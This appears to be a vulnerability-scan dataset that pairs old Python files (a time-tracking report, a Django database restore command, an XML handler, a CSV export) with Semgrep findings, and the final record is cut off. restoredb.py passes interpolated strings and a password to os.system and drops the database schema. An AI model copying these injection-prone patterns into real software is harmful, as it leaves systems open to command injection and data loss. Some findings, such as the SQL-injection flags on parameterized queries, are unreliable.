import argparse import timesuck from collections import namedtuple from datetime import date, datetime, timedelta, time class Report(object): def __init__(self, ranges, db, type=None, minlength=None): """db is sqlite3 db connection""" self.db = db self.type = type self.ranges = ranges self.minlength = minlength def results(self, start, end): query = ('SELECT type, name, start as "[timestamp]",' 'end as "[timestamp]", duration FROM logs') result = { "website": {}, "application": {}, "system": {}, } if self.type: self.db.execute(query + (' WHERE type=? AND start >= ? AND ' 'end <= ? ORDER BY start'), (self.type, start, end)) else: self.db.execute(query + ' WHERE start >= ? AND end <= ? ORDER BY start', (start, end)) for ltype, name, start, end, length in self.db: container = result[ltype] container[name] = container.get(name, 0) + length for (ltype, kinds) in result.iteritems(): result[ltype] = sorted(kinds.items(), key=lambda x: x[1], reverse=True) return result def entries(self): return [(start, end, self.results(start, end)) for start, end in self.ranges] def show(self): for (start_date, end_date, results) in self.entries(): print print "Logs on {} - {}".format(start_date, end_date) print "=" * 50 print for (ltype, kinds) in results.iteritems(): if self.type and self.type != ltype: continue if not kinds: continue print ltype.title() print "=" * 50 for (name, duration) in kinds: if "Shockwave Flash" in name: continue if duration < self.minlength * 60: continue print "{:30} {}".format(name, timedelta(seconds=duration)) print class ColumnReport(Report): def show(self): entries = self.entries() rows = { "application": {}, "website": {}, "system": {}, } for (start_date, end_date, results) in entries: for (ltype, kinds) in results.iteritems(): if self.type and self.type != ltype: continue for (name, duration) in kinds: if "Shockwave Flash" in name: continue if name not in rows[ltype]: rows[ltype][name] = {} if duration < self.minlength * 60: continue rows[ltype][name][start_date] = timedelta(seconds=duration) for (ltype, names) in rows.iteritems(): if self.type and self.type != ltype: continue names = sorted(names.keys()) print ''.join([n.ljust(30) for n in ["Date"] + names]) for (start_date, end_date, _) in entries: results = [] for name in names: results.append(rows[ltype][name].get(start_date, timedelta(seconds=0))) row = [str(start_date)] + [str(x) for x in results] print ''.join([n.ljust(30) for n in row])
117
29.61
91
20
743
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_1c6f1d82", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 29, "column_start": 13, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/976c1bc38dfe9fdb.py", "start": {"line": 27, "col": 13, "offset": 673}, "end": {"line": 29, "col": 53, "offset": 851}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_d194d97d", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 32, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/976c1bc38dfe9fdb.py", "start": {"line": 31, "col": 13, "offset": 878}, "end": {"line": 32, "col": 42, "offset": 992}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-89", "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 27, 31 ]
[ 29, 32 ]
[ 13, 13 ]
[ 53, 42 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
reports.py
/reporter/timesuck/reports.py
kyleconroy/timesuck
MIT
2024-11-18T19:58:34.309646+00:00
1,311,309,595,000
ab3a5b71ff0e56bebe089a810373358f5ba302ee
2
{ "blob_id": "ab3a5b71ff0e56bebe089a810373358f5ba302ee", "branch_name": "refs/heads/master", "committer_date": 1314040997000, "content_id": "aa1119f31be67532371048cc59ba5a65d6a5bdbf", "detected_licenses": [ "MIT" ], "directory_id": "4c965d1a5d94d72e966bc48faba52f2ad8da8cc3", "extension": "py", "filename": "restoredb.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 1561301, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2222, "license": "MIT", "license_type": "permissive", "path": "/django_extensions/management/commands/restoredb.py", "provenance": "stack-edu-0054.json.gz:569717", "repo_name": "easel/django-extensions", "revision_date": 1311309595000, "revision_id": "a82e03a449a35d6b7edccc1c61a7f72ea7edb883", "snapshot_id": "e9565ed65a8fdb549fb295cfde1dfc629d7df763", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/easel/django-extensions/a82e03a449a35d6b7edccc1c61a7f72ea7edb883/django_extensions/management/commands/restoredb.py", "visit_date": "2021-01-18T06:06:55.219888" }
2.3125
stackv2
__author__ = 'erik' """ Command for restoring a database """ import os, time from django.core.management.base import BaseCommand class Command(BaseCommand): help = "Backup database. Only Mysql and Postgresql engines are implemented" def handle(self, *args, **options): from django.db import connection from ... import settings infile = os.path.join(settings.BACKUP_LOCATION, "%s.sql" %(settings.BACKUP_BASENAME)) if not settings.RESTORE_ENABLED: print 'restore not enabled, set settings.EXTENSIONS_RESTORE_ENABLED=True to enable' elif 'mysql' in settings.DB_ENGINE: print 'Doing Mysql restore of database %s from %s' % (settings.DB_NAME, infile) self.do_mysql_restore(infile) elif 'postgres' in settings.DB_ENGINE: print 'Doing Postgresql restore of database %s from %s' % (settings.DB_NAME, infile) self.do_postgresql_restore(infile) else: print 'Backup in %s engine not implemented' % settings.DB_ENGINE def do_mysql_restore(self, infile): from ... import settings args = [] if settings.DB_USER: args += ["--user=%s" % settings.DB_USER] if settings.DB_PASSWD: args += ["--password=%s" % settings.DB_PASSWD] if settings.DB_HOST: args += ["--host=%s" % settings.DB_HOST] if settings.DB_PORT: args += ["--port=%s" % settings.DB_PORT] args += [settings.DB_NAME] os.system('mysql %s < %s' % (' '.join(args), infile)) def do_postgresql_restore(self, infile): from ... import settings args = [] if settings.DB_USER: args += ["--username=%s" % settings.DB_USER] if settings.DB_HOST: args += ["--host=%s" % settings.DB_HOST] if settings.DB_PORT: args += ["--port=%s" % settings.DB_PORT] if settings.DB_NAME: args += [settings.DB_NAME] os.system('PGPASSWORD=%s psql -c "drop schema public cascade; create schema public;" %s' % (settings.DB_PASSWD, ' '.join(args))) os.system('PGPASSWORD=%s psql %s < %s' % (settings.DB_PASSWD, ' '.join(args), infile))
57
37.98
136
14
514
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_c27287dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 9, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 43, "col": 9, "offset": 1521}, "end": {"line": 43, "col": 62, "offset": 1574}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_7a0d42b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 9, "column_end": 137, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 56, "col": 9, "offset": 1998}, "end": {"line": 56, "col": 137, "offset": 2126}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_12b6cbe6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 9, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/caecaae6a21961cb.py", "start": {"line": 57, "col": 9, "offset": 2135}, "end": {"line": 57, "col": 95, "offset": 2221}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 43, 56, 57 ]
[ 43, 56, 57 ]
[ 9, 9, 9 ]
[ 62, 137, 95 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
restoredb.py
/django_extensions/management/commands/restoredb.py
easel/django-extensions
MIT
2024-11-18T19:58:34.409911+00:00
1,422,019,134,000
f114c86ae27ba02d532dc6de403bec9eb123d666
3
{ "blob_id": "f114c86ae27ba02d532dc6de403bec9eb123d666", "branch_name": "refs/heads/master", "committer_date": 1422019134000, "content_id": "af5530cd1c47a754dade34f5cc224f2879d004ed", "detected_licenses": [ "MIT" ], "directory_id": "a0766da72b6db4c04f986ca3fcec9a525dcac141", "extension": "py", "filename": "composition.py", "fork_events_count": 0, "gha_created_at": 1430989985000, "gha_event_created_at": 1430989985000, "gha_language": null, "gha_license_id": null, "github_id": 35210367, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2373, "license": "MIT", "license_type": "permissive", "path": "/pyhmsa/fileformat/xmlhandler/condition/composition.py", "provenance": "stack-edu-0054.json.gz:569719", "repo_name": "gitter-badger/pyhmsa", "revision_date": 1422019134000, "revision_id": "ebdff466dea6610a9c4893fa389a3ac25f308f3f", "snapshot_id": "e9534a013395ddd8df2a0ebe9c8f38bcabd9e6e3", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/gitter-badger/pyhmsa/ebdff466dea6610a9c4893fa389a3ac25f308f3f/pyhmsa/fileformat/xmlhandler/condition/composition.py", "visit_date": "2020-12-11T07:21:46.395286" }
2.671875
stackv2
#!/usr/bin/env python """ ================================================================================ :mod:`composition` -- Composition XML handler ================================================================================ .. module:: composition :synopsis: Composition XML handler .. inheritance-diagram:: pyhmsa.fileformat.xmlhandler.condition.composition """ # Script information for the file. __author__ = "Philippe T. Pinard" __email__ = "philippe.pinard@gmail.com" __version__ = "0.1" __copyright__ = "Copyright (c) 2014 Philippe T. Pinard" __license__ = "GPL v3" # Standard library modules. import xml.etree.ElementTree as etree # Third party modules. # Local modules. from pyhmsa.spec.condition.composition import CompositionElemental from pyhmsa.fileformat.xmlhandler.xmlhandler import _XMLHandler # Globals and constants variables. class CompositionElementalXMLHandler(_XMLHandler): def can_parse(self, element): return element.tag == 'Composition' and element.get('Class') == 'Elemental' def parse(self, element): units = [] tmpcomposition = {} subelements = element.findall('Element') + element.findall('Components/Element') for subelement in subelements: z = int(subelement.attrib['Z']) value = self._parse_numerical_attribute(subelement) units.append(value.unit) tmpcomposition.setdefault(z, value) # Check units units = set(units) if not units: return None if len(units) > 1: raise ValueError('Incompatible unit in composition') unit = list(units)[0] composition = CompositionElemental(unit) composition.update(tmpcomposition) return composition def can_convert(self, obj): return type(obj) is CompositionElemental def convert(self, obj): element = etree.Element('Composition', {'Class': 'Elemental'}) subelement = etree.SubElement(element, 'Components') attrib = type('MockAttribute', (object,), {'xmlname': 'Element'}) for z, fraction in obj.items(): subsubelement = self._convert_numerical_attribute(fraction, attrib)[0] subsubelement.set('Unit', obj.unit) subsubelement.set('Z', str(z)) subelement.append(subsubelement) return element
73
31.51
88
14
493
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c2b741883e650953_6c1af3fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 1, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/c2b741883e650953.py", "start": {"line": 22, "col": 1, "offset": 617}, "end": {"line": 22, "col": 38, "offset": 654}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 22 ]
[ 22 ]
[ 1 ]
[ 38 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
composition.py
/pyhmsa/fileformat/xmlhandler/condition/composition.py
gitter-badger/pyhmsa
MIT
2024-11-18T19:58:37.337218+00:00
1,676,139,610,000
2bc04b2bcdd726fe206a5b48bbae9788a8d3229e
2
{ "blob_id": "2bc04b2bcdd726fe206a5b48bbae9788a8d3229e", "branch_name": "refs/heads/master", "committer_date": 1676139610000, "content_id": "00aa6d1b66c0f649518e62693a9338c7bf69cc70", "detected_licenses": [ "MIT" ], "directory_id": "255e19ddc1bcde0d3d4fe70e01cec9bb724979c9", "extension": "py", "filename": "snippet.py", "fork_events_count": 19, "gha_created_at": 1517501964000, "gha_event_created_at": 1595733295000, "gha_language": "Python", "gha_license_id": null, "github_id": 119861038, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1150, "license": "MIT", "license_type": "permissive", "path": "/all-gists/1418860/snippet.py", "provenance": "stack-edu-0054.json.gz:569755", "repo_name": "gistable/gistable", "revision_date": 1676139610000, "revision_id": "665d39a2bd82543d5196555f0801ef8fd4a3ee48", "snapshot_id": "26c1e909928ec463026811f69b61619b62f14721", "src_encoding": "UTF-8", "star_events_count": 76, "url": "https://raw.githubusercontent.com/gistable/gistable/665d39a2bd82543d5196555f0801ef8fd4a3ee48/all-gists/1418860/snippet.py", "visit_date": "2023-02-17T21:33:55.558398" }
2.359375
stackv2
def GenericCSVExport(qs, fields=None): from django.db.models.loading import get_model from django.http import HttpResponse, HttpResponseForbidden from django.template.defaultfilters import slugify import csv model = qs.model response = HttpResponse(mimetype='text/csv') response['Content-Disposition'] = 'attachment; filename=%s.csv' % slugify(model.__name__) writer = csv.writer(response) if fields: headers = fields else: headers = [] for field in model._meta.fields: headers.append(field.name) writer.writerow(headers) for obj in qs: row = [] for field in headers: if field in headers: if '.' in field: subfields = field.split('.') val = obj for subfield in subfields: val = getattr(val, subfield) else: val = getattr(obj, field) if callable(val): val = val() row.append(val) writer.writerow(row) return response
34
32.82
93
18
218
python
[{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_4830a9a31a12a595_2a1359cd", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 16, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpb8jm_z1l/4830a9a31a12a595.py", "start": {"line": 8, "col": 16, "offset": 265}, "end": {"line": 8, "col": 49, "offset": 298}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defusedcsv_4830a9a31a12a595_7d1c1086", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defusedcsv", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "remediation": "defusedcsv.writer(response)", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 14, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-1236: Improper Neutralization of Formula Elements in a CSV File", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://github.com/raphaelm/defusedcsv", "title": null}, {"url": "https://owasp.org/www-community/attacks/CSV_Injection", "title": null}, {"url": "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defusedcsv", "path": "/tmp/tmpb8jm_z1l/4830a9a31a12a595.py", "start": {"line": 10, "col": 14, "offset": 406}, "end": {"line": 10, "col": 34, "offset": 426}, "extra": {"message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "fix": "defusedcsv.writer(response)", "metadata": {"cwe": ["CWE-1236: Improper Neutralization of Formula Elements 